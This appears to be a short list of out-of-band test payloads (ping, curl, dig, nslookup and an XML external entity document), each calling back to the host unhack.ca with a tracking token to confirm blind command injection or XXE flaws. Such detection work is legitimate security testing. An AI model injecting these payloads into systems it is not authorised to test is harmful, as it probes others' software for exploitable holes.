$ ping -c1 -p 00eab9d30e8703be93069fcc091ae600 unhack.ca
$ curl http://unhack.ca/p/eab9d30e8703be93069fcc091ae6
$ dig eab9d30e8703be93069fcc091ae6 @unhack.ca
$ dig eab9d30e8703be93069fcc091ae6.ns.unhack.ca
C:\> nslookup eab9d30e8703be93069fcc091ae6 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/eab9d30e8703be93069fcc091ae6">]> <foo>&xxe;</foo>